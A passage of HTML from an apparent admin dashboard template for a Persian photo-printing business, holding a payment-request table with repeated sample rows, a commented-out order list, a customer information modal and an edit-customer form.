<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--<div class="row">-->
<!-- <div class="col-xl-12 col-lg-12 col-md-12">-->
<!-- <div class="card">-->
<!-- <div class="card-header">-->
<!-- <h3 class="card-title font-weight-bold">Order lists</h3>-->
<!-- <div class="float-right ml-auto">-->
<!-- <a class="icon" href="javascript:void(0)"></a>-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-dribbble btn-sm"><i-->
<!-- class="fas fa-plus"></i> Make New Order</a>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="card-body">-->
<!-- <div class="panel panel-primary">-->
<!-- <div class="tabs-menu mx-4 mb-0">-->
<!-- <!-- Tabs -->-->
<!-- <ul class="nav panel-tabs">-->
<!-- <li class=""><a href="#tab11" class="active font-weight-bold" data-toggle="tab">Formality Projects </a></li>-->
<!-- <li class=""><a href="#tab22" class="font-weight-bold" data-toggle="tab">Wedding Reception Projects</a></li>-->
<!-- <li class=""><a href="#tab33" class="font-weight-bold" data-toggle="tab">Wedding Projects</a></li>-->
<!-- <li class=""><a href="#tab44" class="font-weight-bold" data-toggle="tab">Atelier Projects </a></li>-->
<!-- </ul>-->
<!-- </div>-->
<!-- <div class="panel-body tabs-menu-body border-0">-->
<!-- <div class="tab-content">-->
<!-- <div class="tab-pane active " id="tab11">-->
<!-- <div class="table-responsive">-->
<!-- <table class="table card-table table-vcenter border text-nowrap">-->
<!-- <thead class="bg-primary font-weight-bold">-->
<!-- <tr>-->
<!-- <th class="text-center">products</th>-->
<!-- <th class="text-center">size</th>-->
<!-- <th class="text-center">Print type</th>-->
<!-- <th class="text-center">Price</th>-->
<!-- <th class="text-center w-15">Quantity</th>-->
<!-- <th class="text-center">Delivery date</th>-->
<!-- <th class="text-center">Choose Company</th>-->
<!-- <th class="text-center">Editor task</th>-->
<!-- <th class="text-center">Status</th>-->
<!-- <th class="text-center"></th>-->
<!-- </tr>-->
<!-- </thead>-->
<!-- <tbody>-->
<!-- <tr>-->
<!-- <td class="text-center">magazine style</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">luster</td>-->
<!-- <td class="text-center">1,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Registrated </td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!---->
<!-- <tr>-->
<!-- <td class="text-center">flush mount</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">water glass</td>-->
<!-- <td class="text-center">4,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Paid </td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!---->
<!-- <tr>-->
<!-- <td class="text-center">glass frame</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">silk</td>-->
<!-- <td class="text-center">2,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Choose photo</td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!---->
<!-- <tr>-->
<!-- <td class="text-center">canvas</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">metallic</td>-->
<!-- <td class="text-center">6,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Send to editor </td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-center">flush mount</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">water glass</td>-->
<!-- <td class="text-center">4,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Ready for print</td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!---->
<!-- <tr>-->
<!-- <td class="text-center">glass frame</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">silk</td>-->
<!-- <td class="text-center">2,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Printed </td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!---->
<!-- <tr>-->
<!-- <td class="text-center">canvas</td>-->
<!-- <td class="text-center">1300*800</td>-->
<!-- <td class="text-center">metallic</td>-->
<!-- <td class="text-center">6,000,000 T</td>-->
<!-- <td class="text-center">-->
<!-- <div class="input-group input-indec">-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-left-minus btn btn-light btn-number btn-sm" data-type="minus" data-field="">-->
<!-- <i class="fas fa-minus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- <input type="text" name="quantity" class="form-control input-number text-center quantity" value="1" >-->
<!-- <span class="input-group-btn">-->
<!-- <button type="button" class="quantity-right-plus btn btn-light btn-number btn-sm" data-type="plus" data-field="">-->
<!-- <i class="fas fa-plus"></i>-->
<!-- </button>-->
<!-- </span>-->
<!-- </div>-->
<!-- </td>-->
<!-- <td class="text-center">02 Sep 2020</td>-->
<!-- <td class="text-center">-->
<!-- <a href="javascript:void(0)" data-toggle="modal" data-target="#company-modal" class="btn btn-icon btn-primary btn-facebook btn-sm">company</a>-->
<!-- </td>-->
<!-- <td class="text-center">-->
<!-- <label class="custom-switch">-->
<!-- <input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">-->
<!-- <span class="custom-switch-indicator"></span>-->
<!-- </label>-->
<!-- </td>-->
<!-- <td class="text-center">Delivered</td>-->
<!-- <td class="text-center">-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-purple"><i class="fas fa-upload text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-warning"><i class="fas fa-exchange-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-danger"><i class="fas fa-trash-alt text-white"></i></button>-->
<!-- <button type="button" class="btn btn-icon btn-primary btn-github"><i class="fas fa-pen text-white"></i></button>-->
<!-- </td>-->
<!-- </tr>-->
<!-- </tbody>-->
<!-- </table>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="tab-pane" id="tab22">-->
<!---->
<!-- </div>-->
<!-- <div class="tab-pane" id="tab33">-->
<!---->
<!-- </div>-->
<!-- <div class="tab-pane" id="tab44">-->
<!---->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!---->
<!---->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- Modal -->
<div id="information-modal" class="modal fade">
<div class="modal-dialog modal-md" role="document">
<div class="modal-content">
<div class="modal-header">
<h6 class="tx-14 mg-b-0 tx-uppercase tx-inverse tx-bold">Information</h6>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="media-list">
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-user" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Name & family</h6><span
class="d-block"><NAME></span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-venus-mars" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Gender</h6><span
class="d-block">Male</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-language" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Language</h6>
<span class="d-block">Persian </span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-calendar" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Date of birth</h6><span
class="d-block">12/5/1365</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-at" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Email</h6><span
class="d-block"><EMAIL></span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-mobile-alt" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Mobile number</h6><span
class="d-block">+98 933 488 4816</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-street-view" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Address</h6><span
class="d-block">Tehran, Shariati, First St.</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-phone" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Static phone</h6><span
class="d-block">021 66859652</span>
</div>
</div>
<div class="col-12 mt-1">
<img class="border-dark" src="/assets/images/photos/Matican Location Map + Pin.png" width="100%"
alt="">
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" data-dismiss="modal">Done</button>
</div>
</div><!-- modal-dialog -->
</div><!-- modal -->
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Customer</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1-1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2-2-2" class="font-weight-bold"
data-toggle="tab">Mentality</a>
</li>
<li><a href="#tab3-3-3" class="font-weight-bold"
data-toggle="tab">Place</a>
</li>
<li><a href="#tab4-4-4" class="font-weight-bold"
data-toggle="tab">Relation</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1-1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Family :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<div class="form-label">Gender :</div>
</div>
<div class="col-lg-9">
<div class="form-group ">
<div class="custom-controls-stacked">
<div class="row">
<label class="custom-control custom-radio ml-3 mr-5">
<input type="radio" class="custom-control-input"
name="example-radios" value="option1">
<span class="custom-control-label">Male</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input"
name="example-radios" value="option2">
<span class="custom-control-label">Female</span>
</label>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Language :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">English</option>
<option value="2">Persian</option>
<option value="3">Turkish</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label">Date of birth :</label>
</div>
<div class="col-lg-9">
<div class="form-group m-0">
<div class="row gutters-xs">
<div class="col-5">
<select name="user[month]"
class="form-control ">
<option value="">Month</option>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option selected="selected" value="6">June
</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
</div>
<div class="col-3">
<select name="user[day]"
class="form-control ">
<option value="">Day</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option selected="selected" value="20">20
</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
</div>
<div class="col-4">
<select name="user[year]"
class="form-control ">
<option value="">Year</option>
<option value="2014">2014</option>
<option value="2013">2013</option>
<option value="2012">2012</option>
<option value="2011">2011</option>
<option value="2010">2010</option>
<option value="2009">2009</option>
<option value="2008">2008</option>
<option value="2007">2007</option>
<option value="2006">2006</option>
<option value="2005">2005</option>
<option value="2004">2004</option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option selected="selected" value="1989">1989
</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
<option value="1915">1915</option>
<option value="1914">1914</option>
<option value="1913">1913</option>
<option value="1912">1912</option>
<option value="1911">1911</option>
<option value="1910">1910</option>
<option value="1909">1909</option>
<option value="1908">1908</option>
<option value="1907">1907</option>
<option value="1906">1906</option>
<option value="1905">1905</option>
<option value="1904">1904</option>
<option value="1903">1903</option>
<option value="1902">1902</option>
<option value="1901">1901</option>
<option value="1900">1900</option>
<option value="1899">1899</option>
<option value="1898">1898</option>
<option value="1897">1897</option>
</select>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-4">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Mobile Number
:</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="tel" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Email :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="email" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
<div class="tab-pane" id="tab2-2-2">
